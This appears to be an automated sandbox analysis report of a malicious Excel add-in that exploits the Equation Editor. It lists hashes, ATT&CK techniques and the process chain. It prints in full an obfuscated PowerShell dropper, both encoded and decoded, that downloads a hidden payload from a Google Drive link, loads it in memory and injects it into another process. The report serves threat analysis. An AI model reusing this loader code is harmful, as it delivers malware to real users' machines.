70cbb6ca45c4d23bfd817fc0a822b7907f281ae01602fcedbf5cc7e634f8422a

General

Target

_86576546576.xlam
Size

611KB
MD5

33befe584a0a8e659e29c8ce5129f61f
SHA1

32236fd8f2c9d1b62e4633c72bbe5c38107d56c8
SHA256

70cbb6ca45c4d23bfd817fc0a822b7907f281ae01602fcedbf5cc7e634f8422a
SHA512

61d19eddddeee6fe0c63a3671be572ab76fa29b137fac326981f420575c3235034320fc50f2f25c77254f2190b5d8d1373137e54235e7700c4d2428f3b8c604d
SSDEEP

12288:P8BiIRAbnhLSkFsU9qjGLD00o36LAto7eDwUB1m0SN0C1TGcbDMasYGHI:0rMt4m1+o0+0Sn1TTQqGHI

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1-Wdgeq0fX9aApdlSW9dln1Pc_KEGpfHp

exe.dropper

https://drive.google.com/uc?export=download&id=1-Wdgeq0fX9aApdlSW9dln1Pc_KEGpfHp

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	2520	EQNEDT32.EXE
7	760	powershell.exe
9	760	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2832	powershell.exe
760	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	drive.google.com
7	drive.google.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EQNEDT32.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
2520	EQNEDT32.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2528	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2832	powershell.exe
760	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2832	powershell.exe
Token: SeDebugPrivilege	760	powershell.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2528	EXCEL.EXE
2528	EXCEL.EXE
2528	EXCEL.EXE
2528	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2520 wrote to memory of 1912	2520	EQNEDT32.EXE	33
PID 2520 wrote to memory of 1912	2520	EQNEDT32.EXE	33
PID 2520 wrote to memory of 1912	2520	EQNEDT32.EXE	33
PID 2520 wrote to memory of 1912	2520	EQNEDT32.EXE	33
PID 1912 wrote to memory of 2832	1912	WScript.exe	34
PID 1912 wrote to memory of 2832	1912	WScript.exe	34
PID 1912 wrote to memory of 2832	1912	WScript.exe	34
PID 1912 wrote to memory of 2832	1912	WScript.exe	34
PID 2832 wrote to memory of 760	2832	powershell.exe	36
PID 2832 wrote to memory of 760	2832	powershell.exe	36
PID 2832 wrote to memory of 760	2832	powershell.exe	36
PID 2832 wrote to memory of 760	2832	powershell.exe	36

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\_86576546576.xlam
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2528

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2520
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\negroooogreeeeceemanager.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1912
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCd6VjRpbWFnZVVybCA9IE9MQ2h0dHBzOi8vZHInKydpdmUuJysnZ29vZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9MS0nKydXZGdlcTBmWDknKydhQXBkbFNXOWRsbjFQY19LRUdwZkhwIE9MQzt6VjR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O3pWNGltYWdlQnl0ZXMgPSB6VjR3ZWJDbGllbnQuRG93bmxvYWREYXRhKHpWNGltYWdlVXJsKTt6VjRpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFMnKyd0cmluZyh6VjRpbWFnZUJ5dCcrJ2VzKTt6VjRzdGFydEZsYWcgPSBPTEM8PEJBU0U2NF9TVEFSVCcrJz4+T0xDO3pWNGVuJysnZEZsYWcgPSBPTEM8PEJBU0U2NF9FTkQ+Pk9MQzt6VjRzdGFydEluZGV4ID0gelY0aW1hZ2VUZXh0LkluZGV4T2YoelY0c3RhcnRGbGFnKTt6VjRlbmRJbmRleCA9IHpWNGltYWdlVGV4dC5JbmRleE9mKHpWNGVuZEYnKydsYWcpO3pWNHN0YXJ0SW5kZXggLWdlIDAgLWFuZCB6VjRlbmRJbmRleCAtZ3QgelY0c3RhcnRJbmRleDt6VjRzJysndGFydEluZGV4ICs9IHpWNHN0YXJ0RmxhZy5MZW5ndGg7elY0YmFzZTY0TGVuZ3RoICcrJz0gelY0ZW5kSW5kZXggLSB6VjRzdGFydEluZGV4O3pWNGJhc2U2NENvbW1hbmQgPSB6VjRpbWFnZVRleHQuU3Vic3RyaW5nKHpWNHN0YXJ0JysnSW5kZXgsIHpWNGJhc2U2NExlbmcnKyd0aCk7elY0YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoelY0YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIGtSaSBGb3JFYWNoLU9iamVjdCB7IHpWNF8gfSlbLTEuLi0oelY0YicrJ2FzZTY0Q29tbWFuZC5MZW5ndGgpXTt6VjRjb21tYW5kQnl0ZXMgPSBbU3lzdGUnKydtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKHpWNGJhc2U2NFJldmVyc2VkKTt6VjRsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoelY0Y29tbScrJ2FuZEJ5dGVzKTt6VjR2YWlNZXRob2QgPSBbZG4nKydsaWIuSU8uSG9tZV0uR2V0TWV0aG9kKCcrJ09MQ1ZBSU9MQyk7elY0dmFpTWV0aG9kLkludm9rZSh6VjRudWxsLCBAKE9MQ3R4dC45Njg1Nzh0dHR0dHRzZXRhbGRpb3JkL2dyby5zbmRrY3VkLmUnKydlZWNlZXJnc2J2eXl5eWFkbicrJ29tLy86cHR0aE9MQywgT0xDZGVzYXRpdmFkb09MQywgT0xDZGVzYXRpdmFkb09MQywnKycgT0xDZGVzYXRpdmFkb09MQywgT0wnKydDQWRkSW5Qcm9jZXNzMzJPTEMsIE9MQ2Rlc2F0aXZhZCcrJ29PTEMsIE9MQ2Rlc2F0aXZhZG9PTEMsT0xDZGVzYXQnKydpdmFkb09MQyxPTENkZXNhdGl2YWRvT0xDLE9MQ2Rlc2F0aXZhZG9PTCcrJ0MsT0xDZGVzYXRpdmFkb09MJysnQyxPTENkZXNhdGl2YWRvT0xDLE9MQzFPTEMpKTsnKS5yRVBsYWNFKCd6VjQnLCckJykuckVQbGFjRSgoW0NoQVJdMTA3K1tDaEFSXTgyK1tDaEFSXTEwNSksJ3wnKS5yRVBsYWNFKCdPTEMnLFtTdHJpbkddW0NoQVJdMzkpfCAuICggJGVuVjpDb01TcGVjWzQsMjQsMjVdLWpvaW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2832
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('zV4imageUrl = OLChttps://dr'+'ive.'+'google.com/uc?export=download&id=1-'+'Wdgeq0fX9'+'aApdlSW9dln1Pc_KEGpfHp OLC;zV4webClient = New-Object System.Net.WebClient;zV4imageBytes = zV4webClient.DownloadData(zV4imageUrl);zV4imageText = [System.Text.Encoding]::UTF8.GetS'+'tring(zV4imageByt'+'es);zV4startFlag = OLC<<BASE64_START'+'>>OLC;zV4en'+'dFlag = OLC<<BASE64_END>>OLC;zV4startIndex = zV4imageText.IndexOf(zV4startFlag);zV4endIndex = zV4imageText.IndexOf(zV4endF'+'lag);zV4startIndex -ge 0 -and zV4endIndex -gt zV4startIndex;zV4s'+'tartIndex += zV4startFlag.Length;zV4base64Length '+'= zV4endIndex - zV4startIndex;zV4base64Command = zV4imageText.Substring(zV4start'+'Index, zV4base64Leng'+'th);zV4base64Reversed = -join (zV4base64Command.ToCharArray() kRi ForEach-Object { zV4_ })[-1..-(zV4b'+'ase64Command.Length)];zV4commandBytes = [Syste'+'m.Convert]::FromBase64String(zV4base64Reversed);zV4loadedAssembly = [System.Reflection.Assembly]::Load(zV4comm'+'andBytes);zV4vaiMethod = [dn'+'lib.IO.Home].GetMethod('+'OLCVAIOLC);zV4vaiMethod.Invoke(zV4null, @(OLCtxt.968578ttttttsetaldiord/gro.sndkcud.e'+'eeceergsbvyyyyadn'+'om//:ptthOLC, OLCdesativadoOLC, OLCdesativadoOLC,'+' OLCdesativadoOLC, OL'+'CAddInProcess32OLC, OLCdesativad'+'oOLC, OLCdesativadoOLC,OLCdesat'+'ivadoOLC,OLCdesativadoOLC,OLCdesativadoOL'+'C,OLCdesativadoOL'+'C,OLCdesativadoOLC,OLC1OLC));').rEPlacE('zV4','$').rEPlacE(([ChAR]107+[ChAR]82+[ChAR]105),'|').rEPlacE('OLC',[StrinG][ChAR]39)| . ( $enV:CoMSpec[4,24,25]-join'')"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Exploitation for Client Execution

1

T1203

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
ba518c7af199f7fe006ab9f2fdadd1a4

SHA1
1da9bd3d16802bdf5ba42ab20d2526c6ce8404fe

SHA256
370f0032e5a03cbc53c40e5c1d2de7eb9b3e2c5990d2a0d096b9cddef33d0a88

SHA512
db498f68cf8be56a2393c09456a1a1d26214012f8b99797b7efa1b07234a06227c186471b023b5d2835c869abe993bc3d31dc7e6dcc5982b4037d38aa952243e

Download Submit
C:\Users\Admin\AppData\Roaming\negroooogreeeeceemanager.vbs

Filesize
192KB

MD5
50b077ebb8d0ec5ccfa4c82bc511f5d6

SHA1
868495c7c7c6d2cc4f43e09975f7fa84cec7d30f

SHA256
92093331155feed076959cf7422498f3c23e312c65936aae1693e14be0a713da

SHA512
ca6804d459f3ecc1446467e1fc9969d457d5ead49d44a982a5860535f374a6a7cba7adcfe26feaf89d95002bd4dff4c35a0483c714d6db4a4b32aa01a7a7382b

Download Submit
memory/2528-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2528-1-0x000000007209D000-0x00000000720A8000-memory.dmp

Filesize
44KB

Download
memory/2528-2-0x000000007209D000-0x00000000720A8000-memory.dmp

Filesize
44KB

Download

Analysis

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